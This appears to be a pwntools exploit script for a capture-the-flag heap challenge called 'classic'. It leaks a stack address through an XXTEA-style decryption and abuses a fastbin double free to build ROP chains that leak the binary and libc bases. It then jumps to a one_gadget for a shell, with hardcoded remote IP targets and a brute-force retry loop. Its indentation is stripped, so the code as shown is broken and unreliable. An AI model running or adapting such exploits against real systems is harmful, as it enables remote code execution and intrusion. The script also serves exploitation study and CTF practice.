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import struct
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./classic')
if local:
p = process('./classic')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
onegadget64 = [0x45216,0x4526a,0xf02a4,0xf1147]
_DELTA = 0x9E3779B9
v = [0,0,0,0,0,0,0,0,0,0,0]
def decrypt(v,n,key):
n = n-1
z = v[n]
y = v[0]
q = 6 + 52 // (n + 1)
sum1 = (q * _DELTA) & 0xffffffff
while (sum1 != 0):
e = sum1 >> 2 & 3
for p in xrange(n, 0, -1):
z = v[p - 1]
v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[p & 3 ^ e] ^ z))) & 0xffffffff
y = v[p]
z = v[n]
v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[0 & 3 ^ e] ^ z))) & 0xffffffff
y = v[0]
sum1 = (sum1 - _DELTA) & 0xffffffff
return v
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(con,size,content):
sd('\x01')
sd(con)
sl(str(size))
sd(content)
def free(index):
sd('\x02')
sl(str(index))
def write(content):
sd('\x03')
sd(content)
def fastbin_attack(chunk,py):
free(1)
free(0)
free(1)
malloc('3'*8,0x60,p64(chunk))
malloc('4'*8,0x60,'d'*0x60)
malloc('5'*8,0x60,'e'*0x60)
malloc('6'*0x8,0x60,py)
debug(0)
def pwn():
ru("welcome to ziiiro's classical heap quiz\n")
write('A'*0x20)
for i in range(11):
v[i] = u32(rc(4))
k = [0x6854CC6D,0x0A4BB7D0E,0x660B8F8F,0x714829A5]
n = 0xb
h = decrypt(v,n,k)
stack = (h[9]<<32)+h[8]
print "stack--->" + hex(stack)
fake_chunk = stack-0x163
print "fake_chunk--->" + hex(fake_chunk)
malloc('0'*8,0x60,'a'*0x60)
malloc('1'*8,0x60,'b'*0x60)
malloc('2'*8,0x60,'c'*0x60)
py = 'a'*3
py += p64(0)
py += '\xA9\x4E'
fastbin_attack(fake_chunk,py)
rc(11)
base_addr = u64(rc(8)) - 0xeb3
print "base_addr--->" + hex(base_addr)
pop_rdi_ret = base_addr + 0x1513
pop_rsi_r15_ret = base_addr + 0x1511
read_plt = base_addr + elf.sym["read"]
write_plt = base_addr + elf.sym["write"]
num_addr = base_addr + 0x20203C
main_addr = base_addr + 0xe66
write_got = base_addr + 0x201F88
py = ''
py += 'a'*3
py += p64(0)
py += p64(pop_rdi_ret)
py += p64(0)
py += p64(pop_rsi_r15_ret)
py += p64(num_addr)
py += p64(0)
py += p64(read_plt)
py += p64(main_addr)
fastbin_attack(fake_chunk-0x20,py)
sd('\x00')
ru("welcome to ziiiro's classical heap quiz\n")
py = ''
py += 'a'*3
py += p64(0)
py += p64(pop_rdi_ret)
py += p64(1)
py += p64(pop_rsi_r15_ret)
py += p64(write_got)
py += p64(0)
py += p64(write_plt)
py += p64(main_addr)
fastbin_attack(fake_chunk-0x58,py)
libc_base = u64(rc(8)) - libc.sym["write"]
onegadget = libc_base + onegadget64[3]
print "libc_base--->" + hex(libc_base)
ru("welcome to ziiiro's classical heap quiz\n")
py = ''
py += 'a'*3
py += p64(0)
py += p64(onegadget)
fastbin_attack(fake_chunk-0x90,py)
i = 0
while 1:
print i
i += 1
try:
pwn()
except EOFError:
p.close()
local = 1
elf = ELF('./classic')
if local:
p = process('./classic')
libc = elf.libc
continue
else:
p = remote('121.40.246.48',9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sl("ls")
break
p.interactive()
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